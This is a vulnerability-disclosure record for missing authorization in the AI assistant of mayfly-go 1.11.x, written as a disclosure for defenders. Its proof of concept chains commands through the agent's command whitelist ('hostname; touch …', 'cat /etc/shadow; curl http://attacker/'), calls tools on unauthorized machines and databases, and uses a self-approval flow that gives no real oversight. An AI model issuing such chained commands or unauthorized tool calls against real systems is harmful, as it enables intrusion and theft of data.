| Title | dromara mayfly-go 1.11.0 to 1.11.5 Missing Authorization |
|---|
| Description | Missing authorization in the AI assistant of mayfly-go 1.11.0 through 1.11.5
allows any authenticated user to execute commands on machines and query or modify
databases they are not authorized to access.
mayfly-go enforces per-account resource authorization via tag trees: every
regular API calls tagTreeApp.CanAccess(accountId, resourceCodePath) after
resolving a resource. The AI agent tools (MachineCommandExec, DbQueryData,
ExecSql, DbQueryTables, DbQueryTableDDL) resolve the same resources
(GetCliByAc by attacker-supplied credential name; GetDbConn by
attacker-supplied database id) but never call CanAccess - a grep across the
whole AI module returns zero hits. In addition the ai:chat permission-code
check in the WebSocket handler (internal/ai/api/ai.go) is commented out, so
only a valid JWT is required (GET /api/ai/chat?token=...).
Aggravating factors verified at runtime: (1) the built-in command whitelist
passes an entire command line if ANY token matches, so "hostname; touch /tmp/x"
or "cat /etc/shadow; curl http://attacker/" execute with no approval; (2) the
"approval" flow for high-risk tools is resumed by the same chatting user
(self-approval), providing no access control; (3) the DbQueryData tool returns
data rows with no approval at all.
POC (verified on official image ccr.ccs.tencentyun.com/mayfly/mayfly-go:v1.11.5,
isolated local environment; account "lowpriv" has machine:terminal +
machine:script:run permissions and team tag "test" only; machine "prod-server"
and database "prod_secret" are under tag "prod"):
1) Baseline - authorization works on regular APIs:
GET /api/machines -> prod machine not listed
WS /api/machines/terminal/prod-server -> denied ("no permission to operate
this resource")
GET /api/machines/scripts/<id>/prod-server/run -> 400 denied
2) Attack - same account via AI assistant:
WS GET /api/ai/chat?token=<jwt>
send {"sessionId":"poc1","type":"text","content":"run hostname on
prod-server"}; the model issues tool call
MachineCommandExec(authCertName="prod-server",
command="hostname; touch /tmp/mayfly_poc_prod"); tool result returned to
chat: {"authCertName":"prod-server","machineId":3,"machineIp":"ssh-prod",
"username":"mayfly","output":"<hostname>","success":true} and the marker
file exists inside the prod machine container. No approval triggered.
3) Data exfiltration - zero interaction:
tool call DbQueryData(dbId=<prod db>, dbName="prod_secret",
sqls=["SELECT * FROM secret_data"]) returns all rows to the chat.
Note: a deterministic OpenAI-compatible mock endpoint was configured as the
model provider to remove model nondeterminism; the missing authorization is
entirely server-side and model-independent. All executed commands created
marker files only; all data was synthetic.
Affected code (v1.11.5, git f81d2f9): server/internal/ai/api/ai.go (commented
permission check); server/internal/ai/tools/machinetool/command_exec.go and
server/internal/ai/tools/dbtool/query_data.go, sql_exec.go (resource resolution
without CanAccess); contrast server/internal/machine/api/machine.go (WsSSH
performs CanAccess). AI module introduced in commit 6f506956 (2026-04-15);
first affected release v1.11.0.
Suggested CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (8.8 High). CWE-862.
Vendor contact (CVE prerequisite): the maintainer (top committer, public commit
address [email protected]) was contacted privately on 2026-08-21; no response.
Community PR #129 asked to enable GitHub Private Vulnerability Reporting four
months ago and received no response; the feature is still disabled. |
|---|
| Source | ⚠️ https://gist.github.com/xufengnian/b95662ba0d8881cfc5ba0bb99cbfc086 |
|---|
| User | Guyuelanmin (UID 100728) |
|---|
| Submission | 08/21/2026 11:23 (27 days ago) |
|---|
| Moderation | 09/17/2026 16:06 (27 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 406446 [Dromara mayfly-go up to 1.11.5 AI Assistant ai.go authorization] |
|---|
| Points | 20 |
|---|